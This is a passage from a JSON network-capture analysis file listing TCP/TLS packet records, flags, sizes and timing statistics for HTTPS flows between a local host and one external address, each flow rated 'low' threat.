\"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 147, \"timestamp\": 1777400582.263481, \"timestamp_iso\": \"2026-04-28T23:53:02.263481\", \"timestamp_human\": \"2026-04-28 23:53:02.263\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30397, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50119, \"dst_port\": 443, \"tcp_seq\": 4216925268, \"tcp_ack\": 2541583336, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 9, \"ACK\": 40, \"PSH\": 10, \"FIN\": 9}, \"packet_sizes\": [66, 54, 177, 54, 155, 54, 54, 54, 66, 54, 369, 54, 54, 66, 54, 369, 54, 54, 66, 54, 369, 54, 54, 66, 54, 369, 54, 54, 54, 66, 54, 369, 54, 54, 66, 54, 369, 54, 54, 66, 54, 369, 54, 54, 66, 54, 369, 54, 54], \"inter_packet_intervals\": [0.00014901161193847656, 1.402371883392334, 0.26780009269714355, 0.00904989242553711, 0.35166501998901367, 0.2120668888092041, 0.0002200603485107422, 0.7147741317749023, 0.00018095970153808594, 0.0005300045013427734, 0.5975298881530762, 0.00019407272338867188, 0.4714939594268799, 0.0001709461212158203, 0.0004851818084716797, 0.3848118782043457, 0.00023508071899414062, 0.5458698272705078, 0.00019407272338867188, 0.00037598609924316406, 0.40064406394958496, 0.00019693374633789062, 0.5392260551452637, 0.0002689361572265625, 0.0003859996795654297, 1.2293131351470947, 0.07521200180053711, 0.0002009868621826172, 0.6070148944854736, 0.00011897087097167969, 0.0003981590270996094, 0.46779894828796387, 0.00020885467529296875, 0.6713850498199463, 0.0001399517059326172, 0.0004830360412597656, 0.6501350402832031, 0.000247955322265625, 0.5837771892547607, 0.00017499923706054688, 0.0006477832794189453, 0.3939540386199951, 0.00021409988403320312, 0.7211930751800537, 0.0002357959747314453, 0.0006990432739257812, 0.4091320037841797, 0.000247955322265625], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 11.713823795318604, \"avg_packet_size\": 112.20408163265306, \"packets_per_second\": 4.183091777390634, \"bytes_per_second\": 469.3599712672185, \"min_packet_size\": 54, \"max_packet_size\": 369, \"median_packet_size\": 54, \"avg_interval\": 0.24403799573580423, \"min_interval\": 0.00011897087097167969, \"max_interval\": 1.402371883392334}, {\"source\": \"188.114.96.0\", \"target\": \"192.168.122.168\", \"packet_count\": 30, \"total_bytes\": 4742, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [443], \"dst_ports\": [50104, 50107, 50111, 50112, 50113, 50115, 50117, 50118, 50119], \"first_packet\": 1777400570.549697, \"last_packet\": 1777400582.263412, \"packets\": [{\"packet_number\": 30, \"timestamp\": 1777400570.549697, \"timestamp_iso\": \"2026-04-28T23:52:50.549697\", \"timestamp_human\": \"2026-04-28 23:52:50.549\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50104, \"tcp_seq\": 3685359036, \"tcp_ack\": 2695327245, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 33, \"timestamp\": 1777400571.952194, \"timestamp_iso\": \"2026-04-28T23:52:51.952194\", \"timestamp_human\": \"2026-04-28 23:52:51.952\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 47842, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50104, \"tcp_seq\": 3685359037, \"tcp_ack\": 2695327368, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 34, \"timestamp\": 1777400572.219863, \"timestamp_iso\": \"2026-04-28T23:52:52.219863\", \"timestamp_human\": \"2026-04-28 23:52:52.219\", \"size\": 2802, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 47843, \"ip_len\": 2788, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50104, \"tcp_seq\": 3685359037, \"tcp_ack\": 2695327368, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 37, \"timestamp\": 1777400572.229052, \"timestamp_iso\": \"2026-04-28T23:52:52.229052\", \"timestamp_human\": \"2026-04-28 23:52:52.229\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 47845, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50104, \"tcp_seq\": 3685361785, \"tcp_ack\": 2695327469, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 38, \"timestamp\": 1777400572.45441, \"timestamp_iso\": \"2026-04-28T23:52:52.454410\", \"timestamp_human\": \"2026-04-28 23:52:52.454\", \"size\": 320, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 47846, \"ip_len\": 306, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50104, \"tcp_seq\": 3685361785, \"tcp_ack\": 2695327469, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 48, \"payload_preview\": \"ad0326dc683e28af701b2e02f3346f293b8d24986e8cf6555db24b3f3df455cbb6bb71defa517201f554b5e8d2a322ae\", \"payload_ascii\": \"\\u0003&h>(p\\u001b.\\u00024o);$nU]K?=UqQr\\u0001T\\\"\"}, {\"packet_number\": 41, \"timestamp\": 1777400572.79286, \"timestamp_iso\": \"2026-04-28T23:52:52.792860\", \"timestamp_human\": \"2026-04-28 23:52:52.792\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 47847, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50104, \"tcp_seq\": 3685362051, \"tcp_ack\": 2695327470, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 47, \"timestamp\": 1777400573.507822, \"timestamp_iso\": \"2026-04-28T23:52:53.507822\", \"timestamp_human\": \"2026-04-28 23:52:53.507\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50107, \"tcp_seq\": 3056081028, \"tcp_ack\": 4000321738, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 50, \"timestamp\": 1777400573.508493, \"timestamp_iso\": \"2026-04-28T23:52:53.508493\", \"timestamp_human\": \"2026-04-28 23:52:53.508\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 35894, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50107, \"tcp_seq\": 3056081029, \"tcp_ack\": 4000322053, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 54, \"timestamp\": 1777400574.106101, \"timestamp_iso\": \"2026-04-28T23:52:54.106101\", \"timestamp_human\": \"2026-04-28 23:52:54.106\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 35896, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50107, \"tcp_seq\": 3056081152, \"tcp_ack\": 4000322054, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 60, \"timestamp\": 1777400574.577751, \"timestamp_iso\": \"2026-04-28T23:52:54.577751\", \"timestamp_human\": \"2026-04-28 23:52:54.577\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50111, \"tcp_seq\": 177481288, \"tcp_ack\": 1533454274, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 63, \"timestamp\": 1777400574.578361, \"timestamp_iso\": \"2026-04-28T23:52:54.578361\", \"timestamp_human\": \"2026-04-28 23:52:54.578\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 43657, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50111, \"tcp_seq\": 177481289, \"tcp_ack\": 1533454589, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 67, \"timestamp\": 1777400574.963293, \"timestamp_iso\": \"2026-04-28T23:52:54.963293\", \"timestamp_human\": \"2026-04-28 23:52:54.963\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 43659, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50111, \"tcp_seq\": 177481412, \"tcp_ack\": 1533454590, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 73, \"timestamp\": 1777400575.509313, \"timestamp_iso\": \"2026-04-28T23:52:55.509313\", \"timestamp_human\": \"2026-04-28 23:52:55.509\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50112, \"tcp_seq\": 2760143355, \"tcp_ack\": 2730598045, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 76, \"timestamp\": 1777400575.509846, \"timestamp_iso\": \"2026-04-28T23:52:55.509846\", \"timestamp_human\": \"2026-04-28 23:52:55.509\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 28640, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50112, \"tcp_seq\": 2760143356, \"tcp_ack\": 2730598360, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 80, \"timestamp\": 1777400575.910597, \"timestamp_iso\": \"2026-04-28T23:52:55.910597\", \"timestamp_human\": \"2026-04-28 23:52:55.910\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 28642, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50112, \"tcp_seq\": 2760143479, \"tcp_ack\": 2730598361, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 86, \"timestamp\": 1777400576.449951, \"timestamp_iso\": \"2026-04-28T23:52:56.449951\", \"timestamp_human\": \"2026-04-28 23:52:56.449\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50113, \"tcp_seq\": 2210981965, \"tcp_ack\": 3171960686, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 89, \"timestamp\": 1777400576.450575, \"timestamp_iso\": \"2026-04-28T23:52:56.450575\", \"timestamp_human\": \"2026-04-28 23:52:56.450\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 21766, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50113, \"tcp_seq\": 2210981966, \"tcp_ack\": 3171961001, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 94, \"timestamp\": 1777400577.755152, \"timestamp_iso\": \"2026-04-28T23:52:57.755152\", \"timestamp_human\": \"2026-04-28 23:52:57.755\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 21768, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50113, \"tcp_seq\": 2210982089, \"tcp_ack\": 3171961002, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 100, \"timestamp\": 1777400578.362333, \"timestamp_iso\": \"2026-04-28T23:52:58.362333\", \"timestamp_human\": \"2026-04-28 23:52:58.362\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50115, \"tcp_seq\": 2233452560, \"tcp_ack\": 4248002034, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 103, \"timestamp\": 1777400578.362821, \"timestamp_iso\": \"2026-04-28T23:52:58.362821\", \"timestamp_human\": \"2026-04-28 23:52:58.362\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 29626, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50115, \"tcp_seq\": 2233452561, \"tcp_ack\": 4248002349, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 107, \"timestamp\": 1777400578.830692, \"timestamp_iso\": \"2026-04-28T23:52:58.830692\", \"timestamp_human\": \"2026-04-28 23:52:58.830\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 29628, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50115, \"tcp_seq\": 2233452684, \"tcp_ack\": 4248002350, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 113, \"timestamp\": 1777400579.502254, \"timestamp_iso\": \"2026-04-28T23:52:59.502254\", \"timestamp_human\": \"2026-04-28 23:52:59.502\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50117, \"tcp_seq\": 2484098479, \"tcp_ack\": 1066848451, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 116, \"timestamp\": 1777400579.502841, \"timestamp_iso\": \"2026-04-28T23:52:59.502841\", \"timestamp_human\": \"2026-04-28 23:52:59.502\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 42171, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50117, \"tcp_seq\": 2484098480, \"tcp_ack\": 1066848766, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 120, \"timestamp\": 1777400580.153054, \"timestamp_iso\": \"2026-04-28T23:53:00.153054\", \"timestamp_human\": \"2026-04-28 23:53:00.153\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 42173, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50117, \"tcp_seq\": 2484098603, \"tcp_ack\": 1066848767, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 126, \"timestamp\": 1777400580.737054, \"timestamp_iso\": \"2026-04-28T23:53:00.737054\", \"timestamp_human\": \"2026-04-28 23:53:00.737\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50118, \"tcp_seq\": 2654325685, \"tcp_ack\": 1572412260, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 129, \"timestamp\": 1777400580.73783, \"timestamp_iso\": \"2026-04-28T23:53:00.737830\", \"timestamp_human\": \"2026-04-28 23:53:00.737\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 35703, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50118, \"tcp_seq\": 2654325686, \"tcp_ack\": 1572412575, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 133, \"timestamp\": 1777400581.131848, \"timestamp_iso\": \"2026-04-28T23:53:01.131848\", \"timestamp_human\": \"2026-04-28 23:53:01.131\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 35705, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50118, \"tcp_seq\": 2654325809, \"tcp_ack\": 1572412576, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 139, \"timestamp\": 1777400581.853245, \"timestamp_iso\": \"2026-04-28T23:53:01.853245\", \"timestamp_human\": \"2026-04-28 23:53:01.853\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50119, \"tcp_seq\": 2541583211, \"tcp_ack\": 4216924952, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 142, \"timestamp\": 1777400581.854123, \"timestamp_iso\": \"2026-04-28T23:53:01.854123\", \"timestamp_human\": \"2026-04-28 23:53:01.854\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 64694, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50119, \"tcp_seq\": 2541583212, \"tcp_ack\": 4216925267, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 146, \"timestamp\": 1777400582.263412, \"timestamp_iso\": \"2026-04-28T23:53:02.263412\", \"timestamp_human\": \"2026-04-28 23:53:02.263\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"188.114.96.0\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 64696, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50119, \"tcp_seq\": 2541583335, \"tcp_ack\": 4216925268, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}], \"tcp_flags\": {\"SYN\": 9, \"ACK\": 30, \"PSH\": 2, \"FIN\": 9}, \"packet_sizes\": [66, 54, 2802, 54, 320, 54, 66, 54, 54, 66, 54, 54, 66, 54, 54, 66, 54, 54, 66, 54, 54, 66, 54, 54, 66, 54, 54, 66, 54, 54], \"inter_packet_intervals\": [1.4024970531463623, 0.2676689624786377, 0.009189128875732422, 0.2253580093383789, 0.33844995498657227, 0.7149620056152344, 0.0006709098815917969, 0.5976080894470215, 0.4716498851776123, 0.0006101131439208984, 0.3849320411682129, 0.5460200309753418, 0.0005328655242919922, 0.40075111389160156, 0.5393538475036621, 0.0006241798400878906, 1.3045768737792969, 0.6071810722351074, 0.00048804283142089844, 0.46787095069885254, 0.6715619564056396, 0.0005869865417480469, 0.6502130031585693, 0.5840001106262207, 0.0007758140563964844, 0.39401817321777344, 0.7213969230651855, 0.0008780956268310547, 0.4092888832092285], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 11.713715076446533, \"avg_packet_size\": 158.06666666666666, \"packets_per_second\": 2.5611003686031935, \"bytes_per_second\": 404.8245982638781, 